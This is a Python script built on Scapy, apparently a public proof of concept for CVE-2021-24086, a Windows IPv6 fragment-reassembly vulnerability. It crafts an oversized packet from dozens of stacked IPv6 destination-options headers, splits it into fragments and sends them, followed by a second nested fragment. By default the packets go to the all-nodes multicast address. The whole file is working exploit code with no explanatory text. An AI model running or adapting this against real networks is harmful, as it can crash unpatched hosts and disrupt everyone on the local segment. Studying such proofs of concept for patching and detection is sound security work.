# Axel '0vercl0k' Souchet - April 7 2021 from scapy.all import * import argparse def frag6(target, frag_id, bytes, nh, frag_size = 1008): '''Ghetto fragmentation.''' assert (frag_size % 8) == 0 leftover = bytes offset = 0 frags = [] while len(leftover) > 0: chunk = leftover[: frag_size] leftover = leftover[len(chunk): ] last_pkt = len(leftover) == 0 # 0 -> No more / 1 -> More m = 0 if last_pkt else 1 assert offset < 8191 pkt = Ether() \ / IPv6(dst = target) \ / IPv6ExtHdrFragment(m = m, nh = nh, id = frag_id, offset = offset) \ / chunk offset += (len(chunk) // 8) frags.append(pkt) return frags def pull_the_trigger(args): '''Trigger CVE-2021-24086 patched in REL2102.''' frag_id = random.randint(0, 0xffffffff) second_pkt_id = (~frag_id & 0xffffffff) reassembled_pkt = IPv6ExtHdrDestOpt(options = [ PadN(optdata=('a'*0xff)), PadN(optdata=('b'*0xff)), PadN(optdata=('c'*0xff)), PadN(optdata=('d'*0xff)), PadN(optdata=('e'*0xff)), PadN(optdata=('f'*0xff)), PadN(optdata=('0'*0xff)), ]) \ / IPv6ExtHdrDestOpt(options = [ PadN(optdata=('a'*0xff)), PadN(optdata=('b'*0xff)), PadN(optdata=('c'*0xff)), PadN(optdata=('d'*0xff)), PadN(optdata=('e'*0xff)), PadN(optdata=('f'*0xff)), PadN(optdata=('0'*0xff)), ]) \ / IPv6ExtHdrDestOpt(options = [ PadN(optdata=('a'*0xff)), PadN(optdata=('b'*0xff)), PadN(optdata=('c'*0xff)), PadN(optdata=('d'*0xff)), PadN(optdata=('e'*0xff)), PadN(optdata=('f'*0xff)), PadN(optdata=('0'*0xff)), ]) \ / IPv6ExtHdrDestOpt(options = [ PadN(optdata=('a'*0xff)), PadN(optdata=('b'*0xff)), PadN(optdata=('c'*0xff)), PadN(optdata=('d'*0xff)), PadN(optdata=('e'*0xff)), PadN(optdata=('f'*0xff)), PadN(optdata=('0'*0xff)), ]) \ / IPv6ExtHdrDestOpt(options = [ PadN(optdata=('a'*0xff)), PadN(optdata=('b'*0xff)), PadN(optdata=('c'*0xff)), PadN(optdata=('d'*0xff)), PadN(optdata=('e'*0xff)), PadN(optdata=('f'*0xff)), PadN(optdata=('0'*0xff)), ]) \ / IPv6ExtHdrDestOpt(options = [ PadN(optdata=('a'*0xff)), PadN(optdata=('b'*0xff)), PadN(optdata=('c'*0xff)), PadN(optdata=('d'*0xff)), PadN(optdata=('e'*0xff)), PadN(optdata=('f'*0xff)), PadN(optdata=('0'*0xff)), ]) \ / IPv6ExtHdrDestOpt(options = [ PadN(optdata=('a'*0xff)), PadN(optdata=('b'*0xff)), PadN(optdata=('c'*0xff)), PadN(optdata=('d'*0xff)), PadN(optdata=('e'*0xff)), PadN(optdata=('f'*0xff)), PadN(optdata=('0'*0xff)), ]) \ / IPv6ExtHdrDestOpt(options = [ PadN(optdata=('a'*0xff)), PadN(optdata=('b'*0xff)), PadN(optdata=('c'*0xff)), PadN(optdata=('d'*0xff)), PadN(optdata=('e'*0xff)), PadN(optdata=('f'*0xff)), PadN(optdata=('0'*0xff)), ]) \ / IPv6ExtHdrDestOpt(options = [ PadN(optdata=('a'*0xff)), PadN(optdata=('b'*0xff)), PadN(optdata=('c'*0xff)), PadN(optdata=('d'*0xff)), PadN(optdata=('e'*0xff)), PadN(optdata=('f'*0xff)), PadN(optdata=('0'*0xff)), ]) \ / IPv6ExtHdrDestOpt(options = [ PadN(optdata=('a'*0xff)), PadN(optdata=('b'*0xff)), PadN(optdata=('c'*0xff)), PadN(optdata=('d'*0xff)), PadN(optdata=('e'*0xff)), PadN(optdata=('f'*0xff)), PadN(optdata=('0'*0xff)), ]) \ / IPv6ExtHdrDestOpt(options = [ PadN(optdata=('a'*0xff)), PadN(optdata=('b'*0xff)), PadN(optdata=('c'*0xff)), PadN(optdata=('d'*0xff)), PadN(optdata=('e'*0xff)), PadN(optdata=('f'*0xff)), PadN(optdata=('0'*0xff)), ]) \ / IPv6ExtHdrDestOpt(options = [ PadN(optdata=('a'*0xff)), PadN(optdata=('b'*0xff)), PadN(optdata=('c'*0xff)), PadN(optdata=('d'*0xff)), PadN(optdata=('e'*0xff)), PadN(optdata=('f'*0xff)), PadN(optdata=('0'*0xff)), ]) \ / IPv6ExtHdrDestOpt(options = [ PadN(optdata=('a'*0xff)), PadN(optdata=('b'*0xff)), PadN(optdata=('c'*0xff)), PadN(optdata=('d'*0xff)), PadN(optdata=('e'*0xff)), PadN(optdata=('f'*0xff)), PadN(optdata=('0'*0xff)), ]) \ / IPv6ExtHdrDestOpt(options = [ PadN(optdata=('a'*0xff)), PadN(optdata=('b'*0xff)), PadN(optdata=('c'*0xff)), PadN(optdata=('d'*0xff)), PadN(optdata=('e'*0xff)), PadN(optdata=('f'*0xff)), PadN(optdata=('0'*0xff)), ]) \ / IPv6ExtHdrDestOpt(options = [ PadN(optdata=('a'*0xff)), PadN(optdata=('b'*0xff)), PadN(optdata=('c'*0xff)), PadN(optdata=('d'*0xff)), PadN(optdata=('e'*0xff)), PadN(optdata=('f'*0xff)), PadN(optdata=('0'*0xff)), ]) \ / IPv6ExtHdrDestOpt(options = [ PadN(optdata=('a'*0xff)), PadN(optdata=('b'*0xff)), PadN(optdata=('c'*0xff)), PadN(optdata=('d'*0xff)), PadN(optdata=('e'*0xff)), PadN(optdata=('f'*0xff)), PadN(optdata=('0'*0xff)), ]) \ / IPv6ExtHdrDestOpt(options = [ PadN(optdata=('a'*0xff)), PadN(optdata=('b'*0xff)), PadN(optdata=('c'*0xff)), PadN(optdata=('d'*0xff)), PadN(optdata=('e'*0xff)), PadN(optdata=('f'*0xff)), PadN(optdata=('0'*0xff)), ]) \ / IPv6ExtHdrDestOpt(options = [ PadN(optdata=('a'*0xff)), PadN(optdata=('b'*0xff)), PadN(optdata=('c'*0xff)), PadN(optdata=('d'*0xff)), PadN(optdata=('e'*0xff)), PadN(optdata=('f'*0xff)), PadN(optdata=('0'*0xff)), ]) \ / IPv6ExtHdrDestOpt(options = [ PadN(optdata=('a'*0xff)), PadN(optdata=('b'*0xff)), PadN(optdata=('c'*0xff)), PadN(optdata=('d'*0xff)), PadN(optdata=('e'*0xff)), PadN(optdata=('f'*0xff)), PadN(optdata=('0'*0xff)), ]) \ / IPv6ExtHdrDestOpt(options = [ PadN(optdata=('a'*0xff)), PadN(optdata=('b'*0xff)), PadN(optdata=('c'*0xff)), PadN(optdata=('d'*0xff)), PadN(optdata=('e'*0xff)), PadN(optdata=('f'*0xff)), PadN(optdata=('0'*0xff)), ]) \ / IPv6ExtHdrDestOpt(options = [ PadN(optdata=('a'*0xff)), PadN(optdata=('b'*0xff)), PadN(optdata=('c'*0xff)), PadN(optdata=('d'*0xff)), PadN(optdata=('e'*0xff)), PadN(optdata=('f'*0xff)), PadN(optdata=('0'*0xff)), ]) \ / IPv6ExtHdrDestOpt(options = [ PadN(optdata=('a'*0xff)), PadN(optdata=('b'*0xff)), PadN(optdata=('c'*0xff)), PadN(optdata=('d'*0xff)), PadN(optdata=('e'*0xff)), PadN(optdata=('f'*0xff)), PadN(optdata=('0'*0xff)), ]) \ / IPv6ExtHdrDestOpt(options = [ PadN(optdata=('a'*0xff)), PadN(optdata=('b'*0xff)), PadN(optdata=('c'*0xff)), PadN(optdata=('d'*0xff)), PadN(optdata=('e'*0xff)), PadN(optdata=('f'*0xff)), PadN(optdata=('0'*0xff)), ]) \ / IPv6ExtHdrDestOpt(options = [ PadN(optdata=('a'*0xff)), PadN(optdata=('b'*0xff)), PadN(optdata=('c'*0xff)), PadN(optdata=('d'*0xff)), PadN(optdata=('e'*0xff)), PadN(optdata=('f'*0xff)), PadN(optdata=('0'*0xff)), ]) \ / IPv6ExtHdrDestOpt(options = [ PadN(optdata=('a'*0xff)), PadN(optdata=('b'*0xff)), PadN(optdata=('c'*0xff)), PadN(optdata=('d'*0xff)), PadN(optdata=('e'*0xff)), PadN(optdata=('f'*0xff)), PadN(optdata=('0'*0xff)), ]) \ / IPv6ExtHdrDestOpt(options = [ PadN(optdata=('a'*0xff)), PadN(optdata=('b'*0xff)), PadN(optdata=('c'*0xff)), PadN(optdata=('d'*0xff)), PadN(optdata=('e'*0xff)), PadN(optdata=('f'*0xff)), PadN(optdata=('0'*0xff)), ]) \ / IPv6ExtHdrDestOpt(options = [ PadN(optdata=('a'*0xff)), PadN(optdata=('b'*0xff)), PadN(optdata=('c'*0xff)), PadN(optdata=('d'*0xff)), PadN(optdata=('e'*0xff)), PadN(optdata=('f'*0xff)), PadN(optdata=('0'*0xff)), ]) \ / IPv6ExtHdrDestOpt(options = [ PadN(optdata=('a'*0xff)), PadN(optdata=('b'*0xff)), PadN(optdata=('c'*0xff)), PadN(optdata=('d'*0xff)), PadN(optdata=('e'*0xff)), PadN(optdata=('f'*0xff)), PadN(optdata=('0'*0xff)), ]) \ / IPv6ExtHdrDestOpt(options = [ PadN(optdata=('a'*0xff)), PadN(optdata=('b'*0xff)), PadN(optdata=('c'*0xff)), PadN(optdata=('d'*0xff)), PadN(optdata=('e'*0xff)), PadN(optdata=('f'*0xff)), PadN(optdata=('0'*0xff)), ]) \ / IPv6ExtHdrDestOpt(options = [ PadN(optdata=('a'*0xff)), PadN(optdata=('b'*0xff)), PadN(optdata=('c'*0xff)), PadN(optdata=('d'*0xff)), PadN(optdata=('e'*0xff)), PadN(optdata=('f'*0xff)), PadN(optdata=('0'*0xff)), ]) \ / IPv6ExtHdrDestOpt(options = [ PadN(optdata=('a'*0xff)), PadN(optdata=('b'*0xff)), PadN(optdata=('c'*0xff)), PadN(optdata=('d'*0xff)), PadN(optdata=('e'*0xff)), PadN(optdata=('f'*0xff)), PadN(optdata=('0'*0xff)), ]) \ / IPv6ExtHdrDestOpt(options = [ PadN(optdata=('a'*0xff)), PadN(optdata=('b'*0xff)), PadN(optdata=('c'*0xff)), PadN(optdata=('d'*0xff)), PadN(optdata=('e'*0xff)), PadN(optdata=('f'*0xff)), PadN(optdata=('0'*0xff)), ]) \ / IPv6ExtHdrDestOpt(options = [ PadN(optdata=('a'*0xff)), PadN(optdata=('b'*0xff)), PadN(optdata=('c'*0xff)), PadN(optdata=('d'*0xff)), PadN(optdata=('e'*0xff)), PadN(optdata=('f'*0xff)), PadN(optdata=('0'*0xff)), ]) \ / IPv6ExtHdrDestOpt(options = [ PadN(optdata=('a'*0xff)), PadN(optdata=('b'*0xff)), PadN(optdata=('c'*0xff)), PadN(optdata=('d'*0xff)), PadN(optdata=('e'*0xff)), PadN(optdata=('f'*0xff)), PadN(optdata=('0'*0xff)), ]) \ / IPv6ExtHdrDestOpt(options = [ PadN(optdata=('a'*0xff)), PadN(optdata=('b'*0xff)), PadN(optdata=('c'*0xff)), PadN(optdata=('d'*0xff)), PadN(optdata=('e'*0xff)), PadN(optdata=('f'*0xff)), PadN(optdata=('0'*0xff)), ]) \ / IPv6ExtHdrDestOpt(options = [ PadN(optdata=('a'*0xff)), PadN(optdata=('b'*0xff)), PadN(optdata=('c'*0xff)), PadN(optdata=('d'*0xff)), PadN(optdata=('e'*0xff)), PadN(optdata=('f'*0xff)), PadN(optdata=('0'*0xff)), ]) \ / IPv6ExtHdrDestOpt(options = [ PadN(optdata=('a'*0xff)), PadN(optdata=('b'*0xa0)), ]) \ / IPv6ExtHdrFragment( id = second_pkt_id, m = 1, nh = 17, offset = 0 ) \ / UDP(dport = 31337, sport = 31337, chksum=0x7e7f) reassembled_pkt = bytes(reassembled_pkt) assert (len(reassembled_pkt) % 8) == 0, 'not aligned' frags = frag6(args.target, frag_id, reassembled_pkt, 60) print(f'{len(frags)} fragments, total size {hex(len(reassembled_pkt))}') sendp(frags, iface= args.iface) reassembled_pkt_2 = Ether() \ / IPv6(dst = args.target) \ / IPv6ExtHdrFragment(id = second_pkt_id, m = 0, offset = 1, nh = 17) \ / 'doar-e ftw' sendp(reassembled_pkt_2, iface = args.iface) def main(): parser = argparse.ArgumentParser() parser.add_argument('--target', default = 'ff02::1') parser.add_argument('--iface', default = 'eth1') args = parser.parse_args() pull_the_trigger(args) return if __name__ == '__main__': main()